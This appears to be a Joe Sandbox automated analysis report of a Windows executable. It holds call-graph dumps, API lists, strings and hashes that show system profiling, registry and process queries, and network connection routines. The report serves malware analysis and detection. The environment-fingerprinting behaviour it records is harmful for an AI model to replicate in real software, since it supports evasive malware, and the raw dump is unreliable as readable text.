RegEnumKeyExA 85053->85055 85056 48ae34 RegQueryValueExA 85053->85056 85054->85042 85055->85052 85055->85053 85058 48af43 RegQueryValueExA 85056->85058 85072 48adaa 85056->85072 85057->85046 85059 48b052 RegQueryValueExA 85058->85059 85058->85072 85061 48adc7 RegCloseKey 85059->85061 85059->85072 85061->85055 85062->85044 85063 48afa0 RegQueryValueExA 85063->85072 85064->85047 85065 48a794 GetBestRoute2 85066 48d190 2 API calls 85065->85066 85066->85070 85067 48a6c7 GetBestRoute2 85068 48d190 2 API calls 85067->85068 85068->85070 85069 48b180 localeconv localeconv 85069->85070 85070->85038 85070->85065 85070->85067 85070->85069 85071 48a520 85070->85071 85071->85038 85074 48b830 if_indextoname 85071->85074 85072->85058 85072->85059 85072->85061 85072->85063 85073->85027 85074->85038 85075->85032 85076->85035 84670 49a080 84673 499740 84670->84673 84672 49a09b 84674 499780 84673->84674 84680 49975d 84673->84680 84675 499925 RegOpenKeyExA 84674->84675 84674->84680 84676 49995a RegQueryValueExA 84675->84676 84679 499812 84675->84679 84677 499986 RegCloseKey 84676->84677 84677->84680 84679->84672 84680->84679 84681 48d190 84680->84681 84682 48d1ae 84681->84682 84684 48d1fa 84681->84684 84719 48d1e8 84682->84719 84721 48d8f0 localeconv localeconv 84682->84721 84685 48d4f9 84684->84685 84686 48d4b7 84684->84686 84688 48d504 84685->84688 84730 48d8f0 localeconv localeconv 84685->84730 84722 48d8f0 localeconv localeconv 84686->84722 84694 48d516 84688->84694 84731 48d8f0 localeconv localeconv 84688->84731 84689 48d4ce 84696 48d4e3 84689->84696 84723 48d8f0 localeconv localeconv 84689->84723 84692 48d51f 84695 48d52c 84692->84695 84733 48d8f0 localeconv localeconv 84692->84733 84694->84692 84732 48d8f0 localeconv localeconv 84694->84732 84700 48d535 84695->84700 84734 48d8f0 localeconv localeconv 84695->84734 84697 48d4f4 84696->84697 84724 48d8f0 localeconv localeconv 84696->84724 84706 48d5bf 84697->84706 84725 48d8f0 localeconv localeconv 84697->84725 84709 48d53e 84700->84709 84735 48d8f0 localeconv localeconv 84700->84735 84704 48d547 84704->84719 84737 48d8f0 localeconv localeconv 84704->84737 84710 48d5fb 84706->84710 84726 48d8f0 localeconv localeconv 84706->84726 84707 48d87f 84707->84719 84738 48d8f0 localeconv localeconv 84707->84738 84709->84704 84709->84707 84712 48d7fe 84709->84712 84715 48d632 84710->84715 84727 48d8f0 localeconv localeconv 84710->84727 84736 48d8f0 localeconv localeconv 84712->84736 84717 48d66e 84715->84717 84728 48d8f0 localeconv localeconv 84715->84728 84717->84719 84729 48d8f0 localeconv localeconv 84717->84729 84719->84680 84721->84719 84722->84689 84723->84696 84724->84697 84725->84706 84726->84710 84727->84715 84728->84717 84729->84719 84730->84688 84731->84694 84732->84692 84733->84695 84734->84700 84735->84709 84736->84704 84737->84719 84738->84719 85077 3d2f17 85083 3d2f2c 85077->85083 85078 3d31d3 85081 3d315c RegEnumKeyExA 85081->85083 85082 3d1619 2 API calls 85084 3d3046 RegOpenKeyExA 85082->85084 85083->85078 85083->85081 85083->85082 85086 3d313b RegCloseKey 85083->85086 85087 3d1619 85083->85087 85084->85083 85085 3d3089 RegQueryValueExA 85084->85085 85085->85083 85085->85086 85086->85083 85090 761360 85087->85090 85089 3d1645 RegOpenKeyExA 85089->85083 85091 7613b0 85090->85091 85092 761379 85090->85092 85094 75d1d0 2 API calls 85091->85094 85097 75d1d0 85092->85097 85096 7613d0 85094->85096 85095 761398 85095->85089 85096->85089 85102 75d1ed 85097->85102 85098 75d504 localeconv 85098->85102 85099 75c9c0 localeconv 85099->85102 85100 75ca50 localeconv 85100->85102 85101 75d3ae 85101->85095 85102->85098 85102->85099 85102->85100 85102->85101 85103 75cc90 localeconv 85102->85103 85103->85102 85104 3d31d7 85105 3d31f4 85104->85105 85106 3d3200 85105->85106 85110 3d3223 85105->85110 85111 3d15b0 localeconv localeconv 85106->85111 85108 3d321e 85109 3d32dc CloseHandle 85109->85108 85110->85109 85111->85108 84739 408b50 84740 408b6b 84739->84740 84768 408be6 84739->84768 84741 408bf3 84740->84741 84742 408b8f 84740->84742 84740->84768 84772 40a550 84741->84772 84843 3e6e40 select 84742->84843 84746 408cd9 SleepEx 84758 408d14 84746->84758 84747 408e85 84752 408eae 84747->84752 84747->84768 84849 3e2a00 localeconv localeconv 84747->84849 84748 408bb5 84748->84768 84845 4150a0 localeconv localeconv 84748->84845 84749 408c35 84831 40a150 84749->84831 84750 408c1f connect 84750->84749 84751 40a150 3 API calls 84760 408dff 84751->84760 84752->84768 84850 3d78b0 closesocket 84752->84850 84753 408cb2 84753->84747 84753->84751 84753->84768 84757 408d43 84762 40a150 3 API calls 84757->84762 84758->84753 84758->84757 84759 408c8b 84764 408dc8 84759->84764 84765 408ba1 84759->84765 84760->84747 84847 3ed090 localeconv localeconv 84760->84847 84762->84748 84846 40b100 localeconv localeconv 84764->84846 84765->84746 84765->84748 84765->84753 84766 408e67 84848 414fd0 localeconv localeconv 84766->84848 84773 40a575 84772->84773 84775 40a597 84773->84775 84854 3d75e0 84773->84854 84825 40a6d9 84775->84825 84866 40ef30 84775->84866 84777 40a709 84779 3d78b0 3 API calls 84777->84779 84787 40a713 84777->84787 84779->84787 84780 408bfc 84780->84749 84780->84750 84780->84753 84780->84768 84782 40a7e5 84786 40a811 setsockopt 84782->84786 84792 40a87c 84782->84792 84802 40a8ee 84782->84802 84784 40a641 84784->84782 84880 414fd0 localeconv localeconv 84784->84880 84786->84792 84795 40a83b 84786->84795 84787->84780 84879 4150a0 localeconv localeconv 84787->84879 84788 40a69b 84876 3ed090 localeconv localeconv 84788->84876 84790 40a6c9 84877 414f40 localeconv localeconv 84790->84877 84792->84802 84883 40b1e0 localeconv localeconv 84792->84883 84795->84792 84881 3ed090 localeconv localeconv 84795->84881 84796 40af56 84798 40af5d 84796->84798 84796->84825 84798->84787 84801 40a150 3 API calls 84798->84801 84799 40a86d 84882 414fd0 localeconv localeconv 84799->84882 84801->84787 84804 40abb9 84802->84804 84805 40ae32 84802->84805 84806 40acb8 84802->84806 84812 40af33 84802->84812 84822 40abe1 84802->84822 84802->84825 84803 40b056 84894 3ed090 localeconv localeconv 84803->84894 84809 40ad45 84804->84809 84810 40ade6 84804->84810 84804->84822 84885 406be0 10 API calls 84804->84885 84805->84804 84891 414fd0 localeconv localeconv 84805->84891 84806->84804 84814 40acdc 84806->84814 84806->84825 84807 40af03 84807->84812 84892 414fd0 localeconv localeconv 84807->84892 84809->84810 84811 40ad5f 84809->84811 84889 3ed090 localeconv localeconv 84810->84889 84886 4220d0 localeconv localeconv 84811->84886 84875 4367e0 ioctlsocket 84812->84875 84884 3ed090 localeconv localeconv 84814->84884 84819 40b07b 84895 414f40 localeconv localeconv 84819->84895 84820 40ad7b 84823 40adb7 84820->84823 84887 414fd0 localeconv localeconv 84820->84887 84822->84803 84822->84807 84822->84825 84893 414fd0 localeconv localeconv 84822->84893 84888 423030 localeconv localeconv 84823->84888 84825->84777 84825->84787 84878 3e2a00 localeconv localeconv 84825->84878 84827 40ad01 84890 414f40 localeconv localeconv 84827->84890 84832 408c4d 84831->84832 84833 40a15f 84831->84833 84832->84759 84844 4150a0 localeconv localeconv 84832->84844 84833->84832 84834 40a181 getsockname 84833->84834 84835 40a1d0 84834->84835 84836 40a1f7 84834->84836 84902 3ed090 localeconv localeconv 84835->84902 84837 40ef30 2 API calls 84836->84837 84841 40a20f 84837->84841 84839 40a1eb 84904 414f40 localeconv localeconv 84839->84904 84841->84832 84903 3ed090 localeconv localeconv 84841->84903 84843->84765 84844->84759 84845->84768 84846->84753 84847->84766 84848->84747 84849->84752 84851 3d78d7 84850->84851 84852 3d78c5 84850->84852 84851->84768 84905 3d72a0 localeconv localeconv 84852->84905 84855 3d75ef 84854->84855 84856 3d7607 socket 84854->84856 84855->84856 84860 3d7601 84855->84860 84861 3d7643 84855->84861 84857 3d763a 84856->84857 84858 3d762b 84856->84858 84857->84775 84896 3d72a0 localeconv localeconv 84858->84896 84860->84856 84897 3d72a0 localeconv localeconv 84861->84897 84863 3d7654 84898 3dcb20 localeconv localeconv 84863->84898 84865 3d7674 84865->84775 84867 40ef47 84866->84867 84868 40efa8 84866->84868 84869 40ef81 84867->84869 84870 40ef4c 84867->84870 84874 40a63a 84868->84874 84901 3dc960 localeconv localeconv 84868->84901 84900 433d10 localeconv localeconv 84869->84900 84870->84874 84899 433d10 localeconv localeconv 84870->84899 84874->84784 84874->84788 84875->84796 84876->84790 84877->84825 84878->84777 84879->84780 84880->84782 84881->84799 84882->84792 84883->84802 84884->84827 84885->84809 84886->84820 84887->84823 84888->84822 84889->84827 84890->84825 84891->84804 84892->84812 84893->84822 84894->84819 84895->84825 84896->84857 84897->84863 84898->84865 84899->84874 84900->84874 84901->84874 84902->84839 84903->84839 84904->84832 84905->84851 85112 4095b0 85113 4095c8 85112->85113 85115 4095fd 85112->85115 85114 40a150 3 API calls 85113->85114 85113->85115 85114->85115 85116 406ab0 85117 406ad5 85116->85117 85118 406bb4 85117->85118 85120 3e6fa0 select 85117->85120 85119 485ed0 9 API calls 85118->85119 85121 406ba9 85119->85121 85122 406b54 85120->85122 85122->85118 85122->85121 85123 406b5d 85122->85123 85123->85121 85125 485ed0 85123->85125 85128 485a50 85125->85128 85127 485ee5 85127->85123 85129 485a58 85128->85129 85136 485ea0 85128->85136 85131 485b50 85129->85131 85133 485b88 85129->85133 85141 485a99 85129->85141 85130 485cae 85132 485e96 85130->85132 85149 49a920 85130->85149 85165 486d50 localeconv localeconv 85130->85165 85166 499320 7 API calls 85130->85166 85131->85133 85137 485b7a 85131->85137 85138 485eb4 85131->85138 85167 499480 7 API calls 85132->85167 85133->85130 85163 486d50 localeconv localeconv 85133->85163 85164 485ef0 6 API calls 85133->85164 85136->85127 85153 4870a0 85137->85153 85168 486f10 7 API calls 85138->85168 85141->85133 85146 4870a0 8 API calls 85141->85146 85162 486f10 7 API calls 85141->85162 85142 485ec2 85142->85142 85146->85141 85150 49a944 85149->85150 85151 49a977 send 85150->85151 85152 49a94b 85150->85152 85151->85130 85152->85130 85158 4870ae 85153->85158 85155 48717f 85156 4871a7 85155->85156 85174 486d50 localeconv localeconv 85155->85174 85156->85133 85158->85155 85158->85156 85169 49a8c0 85158->85169 85173 4871c0 6 API calls 85158->85173 85159 48719f 85175 499320 7 API calls 85159->85175 85162->85141 85163->85133 85164->85133 85165->85130 85166->85130 85167->85136 85168->85142 85170 49a903 recvfrom 85169->85170 85171 49a8e6 85169->85171 85172 49a8ed 85170->85172 85171->85170 85171->85172 85172->85158 85173->85158 85174->85159 85175->85156 85176 3d13c9 85179 3d1160 85176->85179 85180 3d13a1 85179->85180 85181 7593e0 85179->85181 85191 758a20 15 API calls 85179->85191 85182 759400 85181->85182 85190 7593f3 85181->85190 85183 759688 85182->85183 85184 7596c7 85182->85184 85188 759280 vfprintf 85182->85188 85189 759220 vfprintf 85182->85189 85182->85190 85183->85184 85183->85190 85192 759280 vfprintf 85183->85192 85193 759220 vfprintf 85184->85193 85187 7596df 85187->85179 85188->85182 85189->85182 85190->85179 85191->85179 85192->85183 85193->85187 85194 88bcb0 85195 761360 2 API calls 85194->85195 85197 88bce2 85195->85197 85196 88bcee 85197->85196 85198 761360 2 API calls 85197->85198 85199 88bd33 85198->85199 85201 88bd4c 85199->85201 85202 761420 localeconv localeconv 85199->85202 85202->85201 85203 884370 85216 75dd50 85203->85216 85205 8843a6 85206 88439a 85206->85205 85220 7612c0 85206->85220 85208 8843e6 85209 8843da 85209->85208 85210 884490 85209->85210 85212 884446 85209->85212 85224 75b500 localeconv localeconv 85210->85224 85213 884484 85212->85213 85225 75b500 localeconv localeconv 85212->85225 85214 8844b9 85217 75dd61 85216->85217 85218 75d1d0 2 API calls 85217->85218 85219 75dd89 85218->85219 85219->85206 85221 7612cc 85220->85221 85226 75e050 85221->85226 85223 7612fa 85223->85209 85224->85214 85225->85214 85227 75e09d localeconv localeconv 85226->85227 85235 75e503 85226->85235 85233 75e0ce 85227->85233 85228 75e18e 85231 75e1a6 85228->85231 85232 75ed90 ungetc 85228->85232 85229 75e388 85229->85229 85229->85231 85229->85235 85244 7600b8 ungetc 85229->85244 85230 760250 ungetc 85230->85235 85231->85223 85232->85231 85233->85228 85233->85229 85233->85231 85233->85235 85239 75e243 85233->85239 85235->85230 85235->85231 85237 7611a4 ungetc 85235->85237 85238 7608d7 ungetc 85235->85238 85235->85239 85241 760e3e ungetc 85235->85241 85243 760006 ungetc 85235->85243 85245 75fee7 85235->85245 85247 75dff0 ungetc 85235->85247 85248 75b1a0 islower islower 85235->85248 85236 760742 ungetc 85236->85231 85237->85235 85238->85235 85239->85231 85239->85236 85241->85235 85243->85235 85244->85229 85246 75dff0 ungetc 85245->85246 85246->85231 85247->85235 85248->85235 84906 3ed5e0 84907 3ed652 WSAStartup 84906->84907 84908 3ed5f0 84906->84908 84907->84908 84910 3ed664 84907->84910 84911 3ed67c 84908->84911 84913 3ed690 localeconv localeconv 84908->84913 84912 3ed5fa 84913->84912

                                            Executed Functions

                                            Function 0040F100 Relevance: 20.1, Strings: 15, Instructions: 1304COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: %s assess started=%d, result=%d$%s connect -> %d, connected=%d$%s connect timeout after %lldms, move on!$%s done$%s starting (timeout=%lldms)$%s trying next$Connected to %s (%s) port %u$Connection time-out$Connection timeout after %lld ms$Failed to connect to %s port %u after %lld ms: %s$all eyeballers failed$connect.c$created %s (timeout %lldms)$ipv4$ipv6
                                            • API String ID: 0-1590685507
                                            • Opcode ID: b40f05ccfa25cae3c562efb873a455f1d526bc79a4c2fd4b161091d951d31467
                                            • Instruction ID: a38713a25253f858ff1b9558226a5c9018dad98390db5ad788245ae2b234e707
                                            • Opcode Fuzzy Hash: b40f05ccfa25cae3c562efb873a455f1d526bc79a4c2fd4b161091d951d31467
                                            • Instruction Fuzzy Hash: F1C28E31A043449FD724CF29C484B6AB7E1BF84314F04867EEC989B792D775E989CB85
                                            Function 003D255D Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 282fileCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • GetSystemInfo.KERNELBASE ref: 003D2579
                                            • GlobalMemoryStatusEx.KERNELBASE ref: 003D25CC
                                            • GetDriveTypeA.KERNELBASE ref: 003D2647
                                            • GetDiskFreeSpaceExA.KERNELBASE ref: 003D267E
                                            • KiUserCallbackDispatcher.NTDLL ref: 003D27E2
                                            • FindFirstFileW.KERNELBASE ref: 003D28F8
                                            • FindNextFileW.KERNELBASE ref: 003D291F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: FileFind$CallbackDiskDispatcherDriveFirstFreeGlobalInfoMemoryNextSpaceStatusSystemTypeUser
                                            • String ID: ;%=$@$`
                                            • API String ID: 3271271169-3939046150
                                            • Opcode ID: eafe83d91b3b3f9fc9569fc5ea839fb862f82bf4dc4d67928aca1d1827360300
                                            • Instruction ID: 71e9f858e96396fa2199806016e57e7bf2a17b664c6afd67e751e472ee9c436c
                                            • Opcode Fuzzy Hash: eafe83d91b3b3f9fc9569fc5ea839fb862f82bf4dc4d67928aca1d1827360300
                                            • Instruction Fuzzy Hash: F9D1B2B59047099FCB10EFA8D98569EBBF0FF48304F018969E898D7341E7749A94CF92
                                            Function 003D29FF Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 321registryfileCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1273 3d29ff-3d2a2f FindFirstFileA 1274 3d2a38 1273->1274 1275 3d2a31-3d2a36 1273->1275 1276 3d2a3d-3d2a91 call 886790 call 886820 RegOpenKeyExA 1274->1276 1275->1276 1281 3d2a9a 1276->1281 1282 3d2a93-3d2a98 1276->1282 1283 3d2a9f-3d2b0c call 886790 call 886820 CharUpperA call 758da0 1281->1283 1282->1283 1291 3d2b0e-3d2b13 1283->1291 1292 3d2b15 1283->1292 1293 3d2b1a-3d2b92 call 886790 call 886820 call 758e80 call 758e70 1291->1293 1292->1293 1302 3d2bcc-3d2c66 QueryFullProcessImageNameA CloseHandle call 758da0 1293->1302 1303 3d2b94-3d2ba3 1293->1303 1313 3d2c6f 1302->1313 1314 3d2c68-3d2c6d 1302->1314 1306 3d2ba5-3d2bae 1303->1306 1307 3d2bb0-3d2bca call 758e68 1303->1307 1306->1302 1307->1302 1307->1303 1315 3d2c74-3d2ce9 call 886790 call 886820 call 758e80 call 758e70 1313->1315 1314->1315 1324 3d2dcf-3d2e1c call 886790 call 886820 CloseHandle 1315->1324 1325 3d2cef-3d2d49 call 758bb0 call 758da0 1315->1325 1366 3d2e21 call 6e20d42 1324->1366 1367 3d2e21 call 6e20c87 1324->1367 1368 3d2e21 call 6e20ca8 1324->1368 1369 3d2e21 call 6e20c49 1324->1369 1370 3d2e21 call 6e20bee 1324->1370 1371 3d2e21 call 6e20bcd 1324->1371 1372 3d2e21 call 6e20c71 1324->1372 1373 3d2e21 call 6e20c31 1324->1373 1374 3d2e21 call 6e20b71 1324->1374 1375 3d2e21 call 6e20cd4 1324->1375 1376 3d2e21 call 6e20bda 1324->1376 1377 3d2e21 call 6e20c18 1324->1377 1378 3d2e21 call 6e20cfd 1324->1378 1338 3d2d99-3d2dad 1325->1338 1339 3d2d4b-3d2d63 call 758da0 1325->1339 1335 3d2e23-3d2e2e 1336 3d2e37 1335->1336 1337 3d2e30-3d2e35 1335->1337 1340 3d2e3c-3d2ed6 call 886790 call 886820 1336->1340 1337->1340 1338->1324 1339->1338 1346 3d2d65-3d2d7d call 758da0 1339->1346 1355 3d2ed8-3d2ee1 1340->1355 1356 3d2eea 1340->1356 1346->1338 1351 3d2d7f-3d2d97 call 758da0 1346->1351 1351->1338 1357 3d2daf-3d2dc9 call 758e68 1351->1357 1355->1356 1358 3d2ee3-3d2ee8 1355->1358 1359 3d2eef-3d2f16 call 886790 call 886820 1356->1359 1357->1324 1357->1325 1358->1359 1366->1335 1367->1335 1368->1335 1369->1335 1370->1335 1371->1335 1372->1335 1373->1335 1374->1335 1375->1335 1376->1335 1377->1335 1378->1335
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: CloseHandle$CharFileFindFirstFullImageNameOpenProcessQueryUpper
                                            • String ID: 0
                                            • API String ID: 2406880114-4108050209
                                            • Opcode ID: cb2aebf7f1048479abaeeac588c17b9762b8248309b7c9db92f3280c1a3fb367
                                            • Instruction ID: 453eefbac87ce71d418e0d1a0f43586ff5fa960a25de0c139021e91775ad2622
                                            • Opcode Fuzzy Hash: cb2aebf7f1048479abaeeac588c17b9762b8248309b7c9db92f3280c1a3fb367
                                            • Instruction Fuzzy Hash: 9BE1E6B5908705DFCB50EF68D98569EBBF5EF49304F01886AE888DB350E7749988CF42
                                            Function 003E05B0 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 377networkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1526 3e05b0-3e05b7 1527 3e07ee 1526->1527 1528 3e05bd-3e05d4 1526->1528 1529 3e05da-3e05e6 1528->1529 1530 3e07e7-3e07ed 1528->1530 1529->1530 1531 3e05ec-3e05f0 1529->1531 1530->1527 1532 3e05f6-3e0620 call 3e7350 call 3d70b0 1531->1532 1533 3e07c7-3e07cc 1531->1533 1538 3e066a-3e068c call 40dec0 1532->1538 1539 3e0622-3e0624 1532->1539 1533->1530 1545 3e07d6-3e07e3 call 3e7380 1538->1545 1546 3e0692-3e06a0 1538->1546 1540 3e0630-3e0655 call 3d70d0 call 3e03c0 call 3e7450 1539->1540 1566 3e07ce 1540->1566 1567 3e065b-3e0668 call 3d70e0 1540->1567 1545->1530 1549 3e06f4-3e06f6 1546->1549 1550 3e06a2-3e06a4 1546->1550 1553 3e07ef-3e082b call 3e3000 1549->1553 1554 3e06fc-3e06fe 1549->1554 1551 3e06b0-3e06e4 call 3e73b0 1550->1551 1551->1545 1565 3e06ea-3e06ee 1551->1565 1570 3e0a2f-3e0a35 1553->1570 1571 3e0831-3e0837 1553->1571 1558 3e072c-3e0754 1554->1558 1562 3e075f-3e078b 1558->1562 1563 3e0756-3e075b 1558->1563 1581 3e0700-3e0703 1562->1581 1582 3e0791-3e0796 1562->1582 1568 3e075d 1563->1568 1569 3e0707-3e0719 WSAEventSelect 1563->1569 1565->1551 1575 3e06f0 1565->1575 1566->1545 1567->1538 1567->1540 1580 3e0723-3e0726 1568->1580 1569->1545 1579 3e071f 1569->1579 1576 3e0a3c-3e0a52 1570->1576 1577 3e0a37-3e0a3a 1570->1577 1573 3e0839-3e084c call 3e6fa0 1571->1573 1574 3e0861-3e087e 1571->1574 1591 3e0a9c-3e0aa4 1573->1591 1592 3e0852 1573->1592 1593 3e0882-3e088d 1574->1593 1575->1549 1576->1545 1584 3e0a58-3e0a81 call 3e2f10 1576->1584 1577->1576 1579->1580 1580->1553 1580->1558 1581->1569 1582->1581 1586 3e079c-3e07c2 call 3d76a0 1582->1586 1584->1545 1599 3e0a87-3e0a97 call 3e6df0 1584->1599 1586->1581 1591->1545 1592->1574 1596 3e0854-3e085f 1592->1596 1597 3e0893-3e08b1 1593->1597 1598 3e0970-3e0975 1593->1598 1596->1593 1602 3e08c8-3e08f7 1597->1602 1600 3e097b-3e0989 call 3d70b0 1598->1600 1601 3e0a19-3e0a2c 1598->1601 1599->1545 1600->1601 1609 3e098f-3e099e 1600->1609 1601->1570 1610 3e08fd-3e0925 1602->1610 1611 3e08f9-3e08fb 1602->1611 1613 3e09b0-3e09c1 call 3d70d0 1609->1613 1612 3e0928-3e093f 1610->1612 1611->1612 1617 3e0945-3e096b 1612->1617 1618 3e08b3-3e08c2 1612->1618 1619 3e09c3-3e09c7 1613->1619 1620 3e09a0-3e09ae call 3d70e0 1613->1620 1617->1618 1618->1598 1618->1602 1621 3e09e8-3e0a03 WSAEnumNetworkEvents 1619->1621 1620->1601 1620->1613 1623 3e0a05-3e0a17 1621->1623 1624 3e09d0-3e09e6 WSAEventSelect 1621->1624 1623->1624 1624->1620 1624->1621
                                            APIs
                                            • WSAEventSelect.WS2_32(?,?,?), ref: 003E0712
                                            • WSAEventSelect.WS2_32(?,?,00000000), ref: 003E09DD
                                            • WSAEnumNetworkEvents.WS2_32(?,00000000,00000000), ref: 003E09FB
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
